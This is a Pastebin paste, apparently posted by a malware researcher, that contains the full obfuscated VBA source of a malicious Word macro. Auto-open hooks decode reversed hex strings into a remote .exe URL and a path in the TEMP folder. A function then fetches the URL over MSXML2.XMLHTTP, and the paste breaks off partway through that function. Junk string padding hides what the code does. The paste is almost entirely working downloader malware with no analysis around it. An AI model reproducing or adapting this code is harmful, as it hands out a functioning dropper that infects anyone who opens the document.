Advertisement
dynamoo

Malicious Word macro

Dec 18th, 2014
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Public Function HexToString(ByVal RltjOJKINyryd As String) As String
  10. Dim pFJLDdFkUPE As String
  11. Dim PGTfNMAmNkwKsJw As String
  12. Dim aNLFYUrNmr As Long
  13. For aNLFYUrNmr = 1 To Len(RltjOJKINyryd) Step 2
  14. Dim UnYTmOaJ, dwfNUtKO, JkWmMbPn As String
  15. Dim lgeiGvhi, ghdlpEDo, phxTRUqp As String
  16. lgeiGvhi = "           HWEOSY               "
  17. ghdlpEDo = LTrim(lgeiGvhi)
  18. phxTRUqp = RTrim(ghdlpEDo)
  19.  
  20. UnYTmOaJ = "           TRYHYE               "
  21. Dim pDPhCIPw, FOlPprZf, lRNtxvlt As String
  22. pDPhCIPw = "           LPIIME               "
  23. FOlPprZf = LTrim(pDPhCIPw)
  24. lRNtxvlt = RTrim(FOlPprZf)
  25.  
  26. dwfNUtKO = LTrim(UnYTmOaJ)
  27. Dim OpYlooAl, smWdKYqD, nqaHVkxw As String
  28. OpYlooAl = "           FVWTRU               "
  29. smWdKYqD = LTrim(OpYlooAl)
  30. nqaHVkxw = RTrim(smWdKYqD)
  31.  
  32. JkWmMbPn = RTrim(dwfNUtKO)
  33.  
  34. Dim yWoMJQpK, laWClbde, jSvPjALA As String
  35. yWoMJQpK = "           AOLUOM               "
  36. laWClbde = LTrim(yWoMJQpK)
  37. jSvPjALA = RTrim(laWClbde)
  38.  
  39. pFJLDdFkUPE = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(RltjOJKINyryd, aNLFYUrNmr, 2)))
  40. Dim aTvMDjLw, EJDFxFZH, KULkZbFv As String
  41. Dim dENlEEfa, iRpRVIQz, rTmHlSoe As String
  42. dENlEEfa = "           DEZFYO               "
  43. iRpRVIQz = LTrim(dENlEEfa)
  44. rTmHlSoe = RTrim(iRpRVIQz)
  45.  
  46. aTvMDjLw = "           COJLLQ               "
  47. Dim lipjLcgv, VeKQyKyh, EBbyldVi As String
  48. lipjLcgv = "           JPJAER               "
  49. VeKQyKyh = LTrim(lipjLcgv)
  50. EBbyldVi = RTrim(VeKQyKyh)
  51.  
  52. EJDFxFZH = LTrim(aTvMDjLw)
  53. Dim npRWTBuJ, GNPbQPlb, ksBlmizL As String
  54. npRWTBuJ = "           EFGQNP               "
  55. GNPbQPlb = LTrim(npRWTBuJ)
  56. ksBlmizL = RTrim(GNPbQPlb)
  57.  
  58. KULkZbFv = RTrim(EJDFxFZH)
  59.  
  60. Dim AxLTBCKs, DZTIAQXw, QdimbDAW As String
  61. AxLTBCKs = "           SCPBFN               "
  62. DZTIAQXw = LTrim(AxLTBCKs)
  63. QdimbDAW = RTrim(DZTIAQXw)
  64.  
  65. PGTfNMAmNkwKsJw = PGTfNMAmNkwKsJw & pFJLDdFkUPE
  66. Next aNLFYUrNmr
  67. Dim isbTfpXQ, lksIHCBX, TcVQkQeu As String
  68. Dim JNTkITOG, SaHEeOuH, IaNGcFRJ As String
  69. JNTkITOG = "           ZFKFOO               "
  70. SaHEeOuH = LTrim(JNTkITOG)
  71. IaNGcFRJ = RTrim(SaHEeOuH)
  72.  
  73. isbTfpXQ = "           ZJABWU               "
  74. Dim ogTyVdBn, FqfnsIHk, UArszGyW As String
  75. ogTyVdBn = "           LVYEWK               "
  76. FqfnsIHk = LTrim(ogTyVdBn)
  77. UArszGyW = RTrim(FqfnsIHk)
  78.  
  79. lksIHCBX = LTrim(isbTfpXQ)
  80. Dim oPzyHmld, cniPXyTW, NSxRTEfg As String
  81. oPzyHmld = "           MAAJTM               "
  82. cniPXyTW = LTrim(oPzyHmld)
  83. NSxRTEfg = RTrim(cniPXyTW)
  84.  
  85. TcVQkQeu = RTrim(lksIHCBX)
  86.  
  87. Dim OegXFLJU, WoaBhYWJ, ugDzKmVz As String
  88. OegXFLJU = "           HDWUIV               "
  89. WoaBhYWJ = LTrim(OegXFLJU)
  90. ugDzKmVz = RTrim(WoaBhYWJ)
  91.  
  92. HexToString = PGTfNMAmNkwKsJw
  93. End Function
  94.  
  95.  
  96. Sub Auto_Open()
  97. Dim qFKFhFjf, HPboZoiy, wTiEGRBC As String
  98. Dim GsjPJqlW, rzxfXXRE, YfQiTlfC As String
  99. Dim xMaeKqUG, QPuYVXLc, fXwnUlZJ As String
  100. xMaeKqUG = "           AYNGYG               "
  101. QPuYVXLc = LTrim(xMaeKqUG)
  102. fXwnUlZJ = RTrim(QPuYVXLc)
  103.  
  104. GsjPJqlW = "           PGIYYH               "
  105. Dim LSrTNFPP, JxUkVHjo, eZlmnRll As String
  106. LSrTNFPP = "           MRHBFX               "
  107. JxUkVHjo = LTrim(LSrTNFPP)
  108. eZlmnRll = RTrim(JxUkVHjo)
  109.  
  110. rzxfXXRE = LTrim(GsjPJqlW)
  111. Dim PtsSICQZ, TywBeaoE, AuYqcyYR As String
  112. PtsSICQZ = "           VJIVOK               "
  113. TywBeaoE = LTrim(PtsSICQZ)
  114. AuYqcyYR = RTrim(TywBeaoE)
  115.  
  116. YfQiTlfC = RTrim(rzxfXXRE)
  117.  
  118. Dim vFNlDuEC, rOIFNZwG, ORhodCdY As String
  119. vFNlDuEC = "           MNSZNX               "
  120. rOIFNZwG = LTrim(vFNlDuEC)
  121. ORhodCdY = RTrim(rOIFNZwG)
  122.  
  123. qFKFhFjf = "           DNISFD               "
  124. Dim AoXeyvaB, DgIyIdtp, BmmopNim As String
  125. Dim UoeXHyeU, plkHbESa, vpcmTgVO As String
  126. UoeXHyeU = "           DCYMMY               "
  127. plkHbESa = LTrim(UoeXHyeU)
  128. vpcmTgVO = RTrim(plkHbESa)
  129.  
  130. AoXeyvaB = "           SHSQJF               "
  131. Dim WWNXfJYo, iaSBGTOl, yShSDUhL As String
  132. WWNXfJYo = "           XOFUWV               "
  133. iaSBGTOl = LTrim(WWNXfJYo)
  134. yShSDUhL = RTrim(iaSBGTOl)
  135.  
  136. DgIyIdtp = LTrim(AoXeyvaB)
  137. Dim elPWeOdq, BmMucDPs, MwrlKKif As String
  138. elPWeOdq = "           IVMZLQ               "
  139. BmMucDPs = LTrim(elPWeOdq)
  140. MwrlKKif = RTrim(BmMucDPs)
  141.  
  142. BmmopNim = RTrim(DgIyIdtp)
  143.  
  144. Dim oialgEQG, avJryPNl, YmbvltJq As String
  145. oialgEQG = "           LWJPEN               "
  146. avJryPNl = LTrim(oialgEQG)
  147. YmbvltJq = RTrim(avJryPNl)
  148.  
  149. HPboZoiy = LTrim(qFKFhFjf)
  150. Dim wscQkRqh, eJvUoCqR, BKILEaIY As String
  151. Dim CLTQTDTe, sOQhPbJQ, FWNplCbt As String
  152. CLTQTDTe = "           FTHUNR               "
  153. sOQhPbJQ = LTrim(CLTQTDTe)
  154. FWNplCbt = RTrim(sOQhPbJQ)
  155.  
  156. wscQkRqh = "           POOGSH               "
  157. Dim fjXdTxjz, bxIhiqld, cuszydNQ As String
  158. fjXdTxjz = "           TMSGRD               "
  159. bxIhiqld = LTrim(fjXdTxjz)
  160. cuszydNQ = RTrim(bxIhiqld)
  161.  
  162. eJvUoCqR = LTrim(wscQkRqh)
  163. Dim SMizZVEf, UWlfCzag, EXZbkuvh As String
  164. SMizZVEf = "           BQYYYL               "
  165. UWlfCzag = LTrim(SMizZVEf)
  166. EXZbkuvh = RTrim(UWlfCzag)
  167.  
  168. BKILEaIY = RTrim(eJvUoCqR)
  169.  
  170. Dim oRMWPUyf, FbAhCzCy, UHlaFodO As String
  171. oRMWPUyf = "           LYDVFZ               "
  172. FbAhCzCy = LTrim(oRMWPUyf)
  173. UHlaFodO = RTrim(FbAhCzCy)
  174.  
  175. wTiEGRBC = RTrim(HPboZoiy)
  176.  
  177. Dim nNFoRvOL, yXwEJLnQ, QJrBrgkZ As String
  178. Dim TleXGoJv, MponWMeu, xwcmRkSn As String
  179. TleXGoJv = "           YLASTG               "
  180. MponWMeu = LTrim(TleXGoJv)
  181. xwcmRkSn = RTrim(MponWMeu)
  182.  
  183. nNFoRvOL = "           ZJPTPV               "
  184. Dim LuNXdMmN, ydSBFIcq, klvzjxAw As String
  185. LuNXdMmN = "           WGFIMB               "
  186. ydSBFIcq = LTrim(LuNXdMmN)
  187. klvzjxAw = RTrim(ydSBFIcq)
  188.  
  189. yXwEJLnQ = LTrim(nNFoRvOL)
  190. Dim ATqLIlRJ, xTmteczL, lYRjcZbM As String
  191. ATqLIlRJ = "           MRUAOE               "
  192. xTmteczL = LTrim(ATqLIlRJ)
  193. lYRjcZbM = RTrim(xTmteczL)
  194.  
  195. QJrBrgkZ = RTrim(yXwEJLnQ)
  196.  
  197. Dim PNqEppLj, gWLBxRPi, MJnlPBAN As String
  198. PNqEppLj = "           UJXGNH               "
  199. gWLBxRPi = LTrim(PNqEppLj)
  200. MJnlPBAN = RTrim(gWLBxRPi)
  201.  
  202. CYNHXUNLXHY
  203. End Sub
  204. Sub AutoOpen()
  205. Dim ldZStYCh, UeIhqkoV, pgXpMGKk As String
  206. Dim lfwjSThj, WbPqweBP, pgHFAFql As String
  207. Dim FWVjGpkK, eQrWWWEn, TXlFRldM As String
  208. FWVjGpkK = "           PYBXTG               "
  209. eQrWWWEn = LTrim(FWVjGpkK)
  210. TXlFRldM = RTrim(eQrWWWEn)
  211.  
  212. lfwjSThj = "           YNGRKL               "
  213. Dim BVAHICSX, VItZYBlm, pFJToDwT As String
  214. BVAHICSX = "           VPZRTA               "
  215. VItZYBlm = LTrim(BVAHICSX)
  216. pFJToDwT = RTrim(VItZYBlm)
  217.  
  218. WbPqweBP = LTrim(lfwjSThj)
  219. Dim tSKfWJqn, NDebhXIA, XDdQONyZ As String
  220. tSKfWJqn = "           OUVSGG               "
  221. NDebhXIA = LTrim(tSKfWJqn)
  222. XDdQONyZ = RTrim(NDebhXIA)
  223.  
  224. pgHFAFql = RTrim(WbPqweBP)
  225.  
  226. Dim PxNwvkMj, hkIJSSQo, WfhsBuEN As String
  227. PxNwvkMj = "           NJSELA               "
  228. hkIJSSQo = LTrim(PxNwvkMj)
  229. WfhsBuEN = RTrim(hkIJSSQo)
  230.  
  231. ldZStYCh = "           BGFUDN               "
  232. Dim CyWujNvz, XJvMgztn, iCqCJHiQ As String
  233. Dim VfEWlznR, nbKGzbpV, GhVliqwY As String
  234. VfEWlznR = "           XNLLOR               "
  235. nbKGzbpV = LTrim(VfEWlznR)
  236. GhVliqwY = RTrim(nbKGzbpV)
  237.  
  238. CyWujNvz = "           CFQDXZ               "
  239. Dim bwOqlbAJ, cudVkAuj, PdBaMhpA As String
  240. bwOqlbAJ = "           QXYGVG               "
  241. cudVkAuj = LTrim(bwOqlbAJ)
  242. PdBaMhpA = RTrim(cudVkAuj)
  243.  
  244. XJvMgztn = LTrim(CyWujNvz)
  245. Dim OPsFVxYy, RQwNkAri, nSYsSTAo As String
  246. OPsFVxYy = "           VYIBHT               "
  247. RQwNkAri = LTrim(OPsFVxYy)
  248. nSYsSTAo = RTrim(RQwNkAri)
  249.  
  250. iCqCJHiQ = RTrim(XJvMgztn)
  251.  
  252. Dim ynwGeBkj, VJsnMyYM, ESMWunvS As String
  253. ynwGeBkj = "           JRAWCQ               "
  254. VJsnMyYM = LTrim(ynwGeBkj)
  255. ESMWunvS = RTrim(VJsnMyYM)
  256.  
  257. UeIhqkoV = LTrim(ldZStYCh)
  258. Dim igVYPGfA, rhoKtMQZ, QWpFWsQK As String
  259. Dim QdlPKvzN, NebfVpfI, gLRKrWbj As String
  260. QdlPKvzN = "           IGPYYX               "
  261. NebfVpfI = LTrim(QdlPKvzN)
  262. gLRKrWbj = RTrim(NebfVpfI)
  263.  
  264. igVYPGfA = "           EQCDWW               "
  265. Dim EnzJaTOc, GYFMZlSU, DkjUnmlu As String
  266. EnzJaTOc = "           DBGTFJ               "
  267. GYFMZlSU = LTrim(EnzJaTOc)
  268. DkjUnmlu = RTrim(GYFMZlSU)
  269.  
  270. rhoKtMQZ = LTrim(igVYPGfA)
  271. Dim JhFROjfJ, SjBHrmQL, IjozvboM As String
  272. JhFROjfJ = "           ZXXMOZ               "
  273. SjBHrmQL = LTrim(JhFROjfJ)
  274. IjozvboM = RTrim(SjBHrmQL)
  275.  
  276. QWpFWsQK = RTrim(rhoKtMQZ)
  277.  
  278. Dim xZFFclXW, acxoQDFS, YlrEViTR As String
  279. xZFFclXW = "           NTPMUW               "
  280. acxoQDFS = LTrim(xZFFclXW)
  281. YlrEViTR = RTrim(acxoQDFS)
  282.  
  283. pgXpMGKk = RTrim(UeIhqkoV)
  284.  
  285. Dim kEApfSlH, CvoRniqU, AlHBDZzb As String
  286. Dim spOCqUlB, bNFnhlTU, FHMtwrJh As String
  287. spOCqUlB = "           XFJSGA               "
  288. bNFnhlTU = LTrim(spOCqUlB)
  289. FHMtwrJh = RTrim(bNFnhlTU)
  290.  
  291. kEApfSlH = "           HWBCDS               "
  292. Dim gouMlZgP, ngLCWjlM, bBxOLlVl As String
  293. gouMlZgP = "           YHJYVH               "
  294. ngLCWjlM = LTrim(gouMlZgP)
  295. bBxOLlVl = RTrim(ngLCWjlM)
  296.  
  297. CvoRniqU = LTrim(kEApfSlH)
  298. Dim sKkGMRfW, iLAagIQX, eMQdODoC As String
  299. sKkGMRfW = "           SPQNGO               "
  300. iLAagIQX = LTrim(sKkGMRfW)
  301. eMQdODoC = RTrim(iLAagIQX)
  302.  
  303. AlHBDZzb = RTrim(CvoRniqU)
  304.  
  305. Dim VLZQkCWr, EGpuRlDX, iPKAJDRD As String
  306. VLZQkCWr = "           UENQGJ               "
  307. EGpuRlDX = LTrim(VLZQkCWr)
  308. iPKAJDRD = RTrim(EGpuRlDX)
  309.  
  310.     Auto_Open
  311. End Sub
  312. Sub Workbook_Open()
  313. Dim aUrkZCKq, fDHmrQXm, bLZcYbBT As String
  314. Dim husthSVT, RCkImcpf, uoYZrWKU As String
  315. Dim QILqclly, NcVFErTF, ZOdIdAfi As String
  316. QILqclly = "           ONXLXL               "
  317. NcVFErTF = LTrim(QILqclly)
  318. ZOdIdAfi = RTrim(NcVFErTF)
  319.  
  320. husthSVT = "           VSYHKE               "
  321. Dim qyTNWKsW, xskexYgy, OkryBllj As String
  322. qyTNWKsW = "           QBIJNJ               "
  323. xskexYgy = LTrim(qyTNWKsW)
  324. OkryBllj = RTrim(xskexYgy)
  325.  
  326. RCkImcpf = LTrim(husthSVT)
  327. Dim lnTQxIbm, gAHCJSCw, qZNoqJmx As String
  328. lnTQxIbm = "           HAKCEQ               "
  329. gAHCJSCw = LTrim(lnTQxIbm)
  330. qZNoqJmx = RTrim(gAHCJSCw)
  331.  
  332. uoYZrWKU = RTrim(RCkImcpf)
  333.  
  334. Dim jdYxMHwJ, WifJuqfO, nrXslTtA As String
  335. jdYxMHwJ = "           HSZEED               "
  336. WifJuqfO = LTrim(jdYxMHwJ)
  337. nrXslTtA = RTrim(WifJuqfO)
  338.  
  339. aUrkZCKq = "           BZHKZA               "
  340. Dim COrxctgF, oHHbBLlB, unldCWVc As String
  341. Dim uPluOrwG, wnbPGGUc, VQFRvdjJ As String
  342. uPluOrwG = "           LAPJZS               "
  343. wnbPGGUc = LTrim(uPluOrwG)
  344. VQFRvdjJ = RTrim(wnbPGGUc)
  345.  
  346. COrxctgF = "           CEHWNR               "
  347. Dim SbpPNcdC, PpSxVbKw, XhvbndWY As String
  348. SbpPNcdC = "           JVLAFD               "
  349. PpSxVbKw = LTrim(SbpPNcdC)
  350. XhvbndWY = RTrim(PpSxVbKw)
  351.  
  352. oHHbBLlB = LTrim(COrxctgF)
  353. Dim poWEiyGC, tptGZqdB, apgaXgPN As String
  354. poWEiyGC = "           QKBMWC               "
  355. tptGZqdB = LTrim(poWEiyGC)
  356. apgaXgPN = RTrim(tptGZqdB)
  357.  
  358. unldCWVc = RTrim(oHHbBLlB)
  359.  
  360. Dim CNCoyhDF, AXRElQTY, mdwgpKMp As String
  361. CNCoyhDF = "           DJGTBL               "
  362. AXRElQTY = LTrim(CNCoyhDF)
  363. mdwgpKMp = RTrim(AXRElQTY)
  364.  
  365. fDHmrQXm = LTrim(aUrkZCKq)
  366. Dim QlLeZhio, UlehXlTp, ZmdAjves As String
  367. Dim jNjjPJgf, LsRqlgVU, izPFvaph As String
  368. jNjjPJgf = "           TLSRJB               "
  369. LsRqlgVU = LTrim(jNjjPJgf)
  370. izPFvaph = RTrim(LsRqlgVU)
  371.  
  372. QlLeZhio = "           KDMVJO               "
  373. Dim agkBkfSu, BNWShhkT, qyUGKrwH As String
  374. agkBkfSu = "           VLCOCO               "
  375. BNWShhkT = LTrim(agkBkfSu)
  376. qyUGKrwH = RTrim(BNWShhkT)
  377.  
  378. UlehXlTp = LTrim(QlLeZhio)
  379. Dim rhTOSoOP, BjGWuduQ, WjBuAkRS As String
  380. rhTOSoOP = "           IXKXQV               "
  381. BjGWuduQ = LTrim(rhTOSoOP)
  382. WjBuAkRS = RTrim(BjGWuduQ)
  383.  
  384. ZmdAjves = RTrim(UlehXlTp)
  385.  
  386. Dim UdPevOJn, dikcQrOk, KeNKBbnp As String
  387. UdPevOJn = "           TCIZIE               "
  388. dikcQrOk = LTrim(UdPevOJn)
  389. KeNKBbnp = RTrim(dikcQrOk)
  390.  
  391. bLZcYbBT = RTrim(fDHmrQXm)
  392.  
  393. Dim biuFJIhl, teForeiq, OVxEjvBz As String
  394. Dim hSGxdrxI, KCrjXAyz, yDoMadkP As String
  395. hSGxdrxI = "           RSBUTT               "
  396. KCrjXAyz = LTrim(hSGxdrxI)
  397. yDoMadkP = RTrim(KCrjXAyz)
  398.  
  399. biuFJIhl = "           MPGSZP               "
  400. Dim mntVotJY, YYJaQLMH, RjmDOWbh As String
  401. mntVotJY = "           IBJIKR               "
  402. YYJaQLMH = LTrim(mntVotJY)
  403. RjmDOWbh = RTrim(YYJaQLMH)
  404.  
  405. teForeiq = LTrim(biuFJIhl)
  406. Dim uwJHwjiN, exazHmTa, Vxqfqbez As String
  407. uwJHwjiN = "           PBCNEZ               "
  408. exazHmTa = LTrim(uwJHwjiN)
  409. Vxqfqbez = RTrim(exazHmTa)
  410.  
  411. OVxEjvBz = RTrim(teForeiq)
  412.  
  413. Dim pvMhSkeH, GlZPBSMU, mhpysuSb As String
  414. pvMhSkeH = "           DKONNA               "
  415. GlZPBSMU = LTrim(pvMhSkeH)
  416. mhpysuSb = RTrim(GlZPBSMU)
  417.  
  418.     Auto_Open
  419. End Sub
  420.  
  421. Sub CYNHXUNLXHY()
  422. Dim xEDlunVH, lEVRATwK, fRiHXOLL As String
  423. Dim UUFVGcUE, XxLAWoLs, vIiwRYZT As String
  424. Dim jyGRJRnt, Ljevnzpv, iuozYDwu As String
  425. jyGRJRnt = "           VQMEYN               "
  426. Ljevnzpv = LTrim(jyGRJRnt)
  427. iuozYDwu = RTrim(Ljevnzpv)
  428.  
  429. UUFVGcUE = "           YBMDTX               "
  430. Dim SBUCWgns, VtlNceRx, qqyeBJUU As String
  431. SBUCWgns = "           JQTISO               "
  432. VtlNceRx = LTrim(SBUCWgns)
  433. qqyeBJUU = RTrim(VtlNceRx)
  434.  
  435. XxLAWoLs = LTrim(UUFVGcUE)
  436. Dim GNWYhpcG, QNtKPgWJ, YagrtllK As String
  437. GNWYhpcG = "           AFNWNB               "
  438. QNtKPgWJ = LTrim(GNWYhpcG)
  439. YagrtllK = RTrim(QNtKPgWJ)
  440.  
  441. vIiwRYZT = RTrim(XxLAWoLs)
  442.  
  443. Dim xZOfkYwn, zvkIRafl, YlBeJxtp As String
  444. xZOfkYwn = "           LWEBGO               "
  445. zvkIRafl = LTrim(xZOfkYwn)
  446. YlBeJxtp = RTrim(zvkIRafl)
  447.  
  448. xEDlunVH = "           KEXFWU               "
  449. Dim SvDDNnlr, VTbHZfcg, pQsLrznv As String
  450. Dim OxeZicNN, sUjxJWOl, ncxaCYWz As String
  451. OxeZicNN = "           GTYPEG               "
  452. sUjxJWOl = LTrim(OxeZicNN)
  453. ncxaCYWz = RTrim(sUjxJWOl)
  454.  
  455. SvDDNnlr = "           JVIEFG               "
  456. Dim OHYeCZez, WClybjyd, ietoatpc As String
  457. OHYeCZez = "           CJILZO               "
  458. WClybjyd = LTrim(OHYeCZez)
  459. ietoatpc = RTrim(WClybjyd)
  460.  
  461. VTbHZfcg = LTrim(SvDDNnlr)
  462. Dim jkTMeLrn, dlGycVnA, ilBkKzVE As String
  463. jkTMeLrn = "           GCKZLH               "
  464. dlGycVnA = LTrim(jkTMeLrn)
  465. ilBkKzVE = RTrim(dlGycVnA)
  466.  
  467. pQsLrznv = RTrim(VTbHZfcg)
  468.  
  469. Dim gNXkdBUm, LWESbmvd, SsmchAFH As String
  470. gNXkdBUm = "           XJFOZQ               "
  471. LWESbmvd = LTrim(gNXkdBUm)
  472. SsmchAFH = RTrim(LWESbmvd)
  473.  
  474. lEVRATwK = LTrim(xEDlunVH)
  475. Dim peNZCaYg, yepFkyrh, arlNSpAk As String
  476. Dim ipKlAjDz, wNVCUeBP, BsdJjbIt As String
  477. ipKlAjDz = "           MFXCVL               "
  478. wNVCUeBP = LTrim(ipKlAjDz)
  479. BsdJjbIt = RTrim(wNVCUeBP)
  480.  
  481. peNZCaYg = "           QGZLHM               "
  482. Dim VOcSLvKv, XmavJnvC, inDAlgAi As String
  483. VOcSLvKv = "           CENZPF               "
  484. XmavJnvC = LTrim(VOcSLvKv)
  485. inDAlgAi = RTrim(XmavJnvC)
  486.  
  487. yepFkyrh = LTrim(peNZCaYg)
  488. Dim mklIFVnZ, jlEMoeVE, slFyEuwT As String
  489. mklIFVnZ = "           JCSXSL               "
  490. jlEMoeVE = LTrim(mklIFVnZ)
  491. slFyEuwT = RTrim(jlEMoeVE)
  492.  
  493. arlNSpAk = RTrim(yepFkyrh)
  494.  
  495. Dim qXRRdsRr, HJdBnYxW, mSMlDafD As String
  496. qXRRdsRr = "           DRAUDV               "
  497. HJdBnYxW = LTrim(qXRRdsRr)
  498. mSMlDafD = RTrim(HJdBnYxW)
  499.  
  500. fRiHXOLL = RTrim(lEVRATwK)
  501.  
  502. Dim wilFzGes, fvpbLXkG, LlKMyjpY As String
  503. Dim RzhclaPS, LKwzvSXm, wrPXipTF As String
  504. RzhclaPS = "           TPINMP               "
  505. LKwzvSXm = LTrim(RzhclaPS)
  506. wrPXipTF = RTrim(LKwzvSXm)
  507.  
  508. wilFzGes = "           BWNMCY               "
  509. Dim kKAjyqUQ, EVflIVPW, ZIJyYNjm As String
  510. kKAjyqUQ = "           UUZJJU               "
  511. EVflIVPW = LTrim(kKAjyqUQ)
  512. ZIJyYNjm = RTrim(EVflIVPW)
  513.  
  514. fvpbLXkG = LTrim(wilFzGes)
  515. Dim DFqwwMOP, IFmUHByS, RGRLqeED As String
  516. DFqwwMOP = "           LCEUFV               "
  517. IFmUHByS = LTrim(DFqwwMOP)
  518. RGRLqeED = RTrim(IFmUHByS)
  519.  
  520. LlKMyjpY = RTrim(fvpbLXkG)
  521.  
  522. Dim nUzHjpTF, tEOsETxT, PvkYJNgc As String
  523. nUzHjpTF = "           WCDDGV               "
  524. tEOsETxT = LTrim(nUzHjpTF)
  525. PvkYJNgc = RTrim(tEOsETxT)
  526.  
  527.     IZNSSJCCIKZ HexToString(StrReverse("568756E2E69626F237A6F2F666E696E2564716473756C61656271696E69646271637F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E22494841464A4D4A5755495C5"))
  528. End Sub
  529. Function IZNSSJCCIKZ(ByVal SLIPSJGVNVY As String, ByVal HSZAKTQRXVD As String) As Boolean
  530.      Dim CPNTFBEJUZO As Object, LXCKVGNTRWE As Long, KRUSSZJMQME As Long, OISBYEFREAZ() As Byte
  531.  
  532.  
  533. Dim EpDilnCn, itwZTWFk, DNeCLhTp As String
  534. Dim IVeHRRfi, CFolPhbH, bBxflDoq As String
  535. Dim Bsqzlgvp, AxbXeSiE, HdRbocls As String
  536. Bsqzlgvp = "           GFTGMJ               "
  537. AxbXeSiE = LTrim(Bsqzlgvp)
  538. HdRbocls = RTrim(AxbXeSiE)
  539.  
  540. IVeHRRfi = "           UIAONB               "
  541. Dim wXMeBGGB, IzYyAZLp, MiloejXl As String
  542. wXMeBGGB = "           OOQQFX               "
  543. IzYyAZLp = LTrim(wXMeBGGB)
  544. MiloejXl = RTrim(IzYyAZLp)
  545.  
  546. CFolPhbH = LTrim(IVeHRRfi)
  547. Dim FipUQAIn, PilLyTyZ, ToEtnPEE As String
  548. FipUQAIn = "           AKUWPU               "
  549. PilLyTyZ = LTrim(FipUQAIn)
  550. ToEtnPEE = RTrim(PilLyTyZ)
  551.  
  552. bBxflDoq = RTrim(CFolPhbH)
  553.  
  554. Dim nunyJBWl, yeiArlSq, QVGXjGRe As String
  555. nunyJBWl = "           WPBWZK               "
  556. yeiArlSq = LTrim(nunyJBWl)
  557. QVGXjGRe = RTrim(yeiArlSq)
  558.  
  559. EpDilnCn = "           XQTXHT               "
  560. Dim JjdFWmnF, HaHnLxud, zuZEmppc As String
  561. Dim lcMhrppq, WIopDULT, pvgDLltd As String
  562. lcMhrppq = "           YTZRAI               "
  563. WIopDULT = LTrim(lcMhrppq)
  564. pvgDLltd = RTrim(WIopDULT)
  565.  
  566. JjdFWmnF = "           MMMEQS               "
  567. Dim ieBSTbTx, loQGudIU, TgcKOaSJ As String
  568. ieBSTbTx = "           OCKQLU               "
  569. loQGudIU = LTrim(ieBSTbTx)
  570. TgcKOaSJ = RTrim(loQGudIU)
  571.  
  572. HaHnLxud = LTrim(JjdFWmnF)
  573. Dim jmhpLfnl, dmbwdkVl, iwOUUxwm As String
  574. jmhpLfnl = "           GVPPFN               "
  575. dmbwdkVl = LTrim(jmhpLfnl)
  576. iwOUUxwm = RTrim(dmbwdkVl)
  577.  
  578. zuZEmppc = RTrim(HaHnLxud)
  579.  
  580. Dim lAeHidHa, VxQqmUIL, JDAXsFCx As String
  581. lAeHidHa = "           VRKXBK               "
  582. VxQqmUIL = LTrim(lAeHidHa)
  583. JDAXsFCx = RTrim(VxQqmUIL)
  584.  
  585. itwZTWFk = LTrim(EpDilnCn)
  586. Dim yBZlTdXV, zNSRNjlN, CaXHmwJa As String
  587. Dim jinDgjeq, TVYkmzgL, ipMsrbVf As String
  588. jinDgjeq = "           VDDIKL               "
  589. TVYkmzgL = LTrim(jinDgjeq)
  590. ipMsrbVf = RTrim(TVYkmzgL)
  591.  
  592. yBZlTdXV = "           PFHFUN               "
  593. Dim xLuzChtT, mEPFWkPt, YPxJcyFh As String
  594. xLuzChtT = "           OIJPDP               "
  595. mEPFWkPt = LTrim(xLuzChtT)
  596. YPxJcyFh = RTrim(mEPFWkPt)
  597.  
  598. zNSRNjlN = LTrim(yBZlTdXV)
  599. Dim whnfVmpn, khPblbUA, djWQDEtE As String
  600. whnfVmpn = "           JXGSJR               "
  601. khPblbUA = LTrim(whnfVmpn)
  602. djWQDEtE = RTrim(khPblbUA)
  603.  
  604. CaXHmwJa = RTrim(zNSRNjlN)
  605.  
  606. Dim HjDrMzBm, wsmvucHs, NueLlKIr As String
  607. HjDrMzBm = "           EFTMEL               "
  608. wsmvucHs = LTrim(HjDrMzBm)
  609. NueLlKIr = RTrim(wsmvucHs)
  610.  
  611. DNeCLhTp = RTrim(itwZTWFk)
  612.  
  613. Dim pNHzNiMZ, zjUDHgoy, UsgieONC As String
  614. Dim lvHSjXPv, UgWhwUXu, pbppttTn As String
  615. lvHSjXPv = "           BWWUKI               "
  616. UgWhwUXu = LTrim(lvHSjXPv)
  617. pbppttTn = RTrim(UgWhwUXu)
  618.  
  619. pNHzNiMZ = "           LJQZWG               "
  620. Dim UrlqqRZM, MpyfDkTt, KWOaQlsE As String
  621. UrlqqRZM = "           GDVGLJ               "
  622. MpyfDkTt = LTrim(UrlqqRZM)
  623. KWOaQlsE = RTrim(MpyfDkTt)
  624.  
  625. zjUDHgoy = LTrim(pNHzNiMZ)
  626. Dim KqZddcXe, FsSvYZlt, OdCPaYJy As String
  627. KqZddcXe = "           XOSEOD               "
  628. FsSvYZlt = LTrim(KqZddcXe)
  629. OdCPaYJy = RTrim(FsSvYZlt)
  630.  
  631. UsgieONC = RTrim(zjUDHgoy)
  632.  
  633. Dim PAXbqGug, hcRWcpVy, WlshPRHV As String
  634. PAXbqGug = "           NMPTSD               "
  635. hcRWcpVy = LTrim(PAXbqGug)
  636. WlshPRHV = RTrim(hcRWcpVy)
  637.  
  638.     Set CPNTFBEJUZO = CreateObject("MSXML2.XMLHTTP")
  639.     CPNTFBEJUZO.Open "GET", SLIPSJGVNVY, False
  640. Dim mTQzdIBs, OwJTklqM, sYybaJMf As String
  641. Dim DXWxSIzk, zSaNJlfN, jZyECtbI As String
  642. Dim xbxdrdkg, BPQyDPaI, fnJPLwdj As String
  643. xbxdrdkg = "           IYHZAP               "
  644. BPQyDPaI = LTrim(xbxdrdkg)
  645. fnJPLwdj = RTrim(BPQyDPaI)
  646.  
  647. DXWxSIzk = "           PUCBEA               "
  648. Dim HTsHjVHm, zQVLKQMT, gJPXmbCH As String
  649. HTsHjVHm = "           LAMTXA               "
  650. zQVLKQMT = LTrim(HTsHjVHm)
  651. gJPXmbCH = RTrim(zQVLKQMT)
  652.  
  653. zSaNJlfN = LTrim(DXWxSIzk)
  654. Dim RgajytQy, nhqZnoou, whmFWfYi As String
  655. RgajytQy = "           XWEDWX               "
